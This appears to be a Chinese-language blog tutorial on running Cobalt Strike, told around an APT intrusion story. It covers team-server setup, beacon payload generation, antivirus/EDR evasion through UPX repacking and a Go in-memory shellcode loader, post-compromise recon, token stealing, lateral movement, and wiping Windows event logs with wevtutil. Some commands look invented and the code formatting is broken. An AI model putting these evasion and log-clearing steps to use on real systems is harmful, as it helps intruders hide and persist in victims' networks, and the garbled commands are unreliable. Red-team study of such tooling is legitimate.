一、APT故事里的“Cobalt Strike”
大概两年前,一家金融机构的安全团队在某次例行检测中发现了异常的网络流量。随着调查的深入,他们发现攻击者已经在其内网潜伏了长达数月,而这场攻击的幕后黑手是一支极其老练的APT团队——他们在攻击中使用了著名的渗透测试框架 Cobalt Strike 来实现内网的持久控制与横向移动。
Cobalt Strike 是攻击者的“瑞士军刀”,不仅在红队演练中广泛应用,更成为APT组织的最爱。这篇文章会带你深入了解如何操作 Cobalt Strike,让你像这些顶级黑客一样熟练使用它。

⚠️ 注意:本文仅限授权的合法渗透测试,任何非法攻击行为与本文作者无关。
---
二、如何搭建“进攻基地”
环境准备
要开始使用 Cobalt Strike,我们需要搭建一个完整的攻击环境。这包括以下几个组件:
- C2 服务器:运行 Team Server,这是 Cobalt Strike 的核心。
- 攻击者机器:用来访问 Team Server 并管理上线的 Beacon。
- 目标测试机:用作攻击目标,模拟企业内网环境。
1. Team Server 搭建
Team Server 是 Cobalt Strike 的指挥中心,它负责生成 payload、处理 Beacon 的连接。以下是在一台 Linux VPS 上快速部署 Team Server 的方法。
准备工作:
- 一台 Linux 云服务器(Ubuntu 20.04)
- 一个域名(用于流量伪装)
- Java 运行环境(Cobalt Strike 依赖)
安装 Java 与启动 Team Server:
<pre><code class="language-bash"># 更新并安装 OpenJDK sudo apt update sudo apt install openjdk-11-jdk -y
解压 Cobalt Strike 文件
tar -xvf cobaltstrike-trial.tgz -C /opt/
启动 Team Server,密码为 "123456"
cd /opt/cobaltstrike/ ./teamserver <你的服务器IP> 123456</code></pre>
> Tips:Team Server 对 IP 的绑定非常严格,务必使用实际的公网 IP 地址。
2. 攻击者机器配置
Cobalt Strike 客户端 是攻击者与 Team Server 交互的窗口。你可以在自己的 Windows 或 macOS 机器上运行它。
- 将 Team Server 的客户端文件下载到本地,解压后直接运行:
- 登录 Team Server:
<pre><code class="language-bash"> java -jar cobaltstrike.jar `
- 服务器:Team Server 的公网 IP
- 密码:在启动 Team Server 时设置的密码
3. 环境检查
成功连接后,你应该能看到 Cobalt Strike 的主界面。至此,我们的 Cobalt Strike 基地已经搭建完成,接下来就是在目标环境中投放我们的“恶意信标”了。
---
三、Payload构造的艺术
Payload 是攻击的起点。一个隐蔽的 Payload 可以帮助我们在目标环境中悄无声息地上线。
1. Payload 生成
在 Cobalt Strike 中,生成 Payload 并不复杂。以下是生成一个基本 HTTP Beacon 的过程:
- 点击菜单:
Cobalt Strike->Listeners->Add。 - 创建一个新的 Listener:
- Name:test_http
- Type:HTTP
- Host:你的 C2 服务器域名/IP
- Port:80(可以随机)
- HTTP GET/POST 配置:保持默认或自定义流量格式
- 使用以下命令生成一个恶意的 Windows 可执行文件:
`bash generate test_http --type exe --output /tmp/beacon.exe `

> Tips:在实际攻击中,你可以使用 Cobalt Strike 提供的多种 Payload 类型(DLL、PowerShell、HTA 等),选择最适合目标环境的方式投递。
---
2. 绕过 EDR 的技巧
现代安全软件(EDR/AV)对恶意文件的检测越来越敏感,原始的 Payload 很容易被拦截。以下是一些常见的免杀技巧:
方法1:二次打包
将生成的 beacon.exe 使用工具(如 UPX 或 PyInstaller)进行二次打包,混淆其原始特征。 </code></pre>bash
使用 UPX 压缩可执行文件
upx --best --lzma beacon.exe <pre><code>
方法2:动态内存加载
直接将 Beacon Shellcode 写入内存运行,而不是生成可执行文件。以下是一段 Golang 的实现代码: </code></pre>go package main
import ( "syscall" "unsafe" )
func main() { // 你的 Beacon Shellcode shellcode := []byte{ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, // 示例代码 }
// 分配内存 addr, _, _ := syscall.Syscall6( syscall.SYS_MMAP, 0, uintptr(len(shellcode)), syscall.PROT_READ|syscall.PROT_WRITE|syscall.PROT_EXEC, syscall.MAP_ANON|syscall.MAP_PRIVATE, 0, 0, )
// 写入 Shellcode copy((*[990000]byte)(unsafe.Pointer(addr))[:], shellcode)
// 执行 Shellcode syscall.Syscall(addr, 0, 0, 0) } <pre><code> > 警告:此代码仅限授权测试,切勿滥用。
---
四、上线后的进攻节奏
当目标上线后,Cobalt Strike 提供了丰富的功能支持我们的渗透活动。以下是一些常见的操作:
1. 信息收集
通过 Beacon 提供的内置命令,我们可以迅速收集目标主机以及网络环境的信息: </code></pre>bash
查看当前用户权限
whoami
检查网络配置
ipconfig /all <pre><code>
2. 权限提升
利用 exploit suggester 功能查找适合目标系统的提权漏洞: </code></pre>bash
从上线的 Beacon 获取提权建议
exploit suggester `
如果目标系统存在漏洞,Cobalt Strike 会直接提示你可以利用的攻击模块。
3. 横向移动
通过以下方法,我们可以继续横向渗透:
- 使用
ps查看目标进程。 - 利用
token stealing模块伪装成高权限用户。 - 使用
net命令查看局域网内的开放主机。
---
五、痕迹清理与检测对抗

攻击完成后,清理痕迹是至关重要的一步。以下是一些关键操作:
- 删除临时文件:
- 清除 Windows 事件日志:
`bash del C:\Windows\Temp\. `
`bash wevtutil cl System wevtutil cl Security `
此外,你可以使用 Cobalt Strike 提供的内置“清理工具”进一步清除历史记录。
---
六、总结与个人经验
在多次红队演练中,Cobalt Strike 都是我的主力工具之一。它的模块化设计和强大可扩展性让很多复杂的攻击步骤变得高效且隐蔽。
个人建议:
- 动态测试环境:尽可能模拟目标的真实网络环境。
- 免杀工具库:准备好自己的免杀工具链,包括 Shellcode 加密、二次打包工具。
- 团队协作:Cobalt Strike 的协作功能对多团队联合行动非常重要。
你需要记住,工具只是工具,最终决定成败的还是攻击者的策略与思路。多演练,多总结,每次渗透完成后认真复盘,都会让你更上一层楼。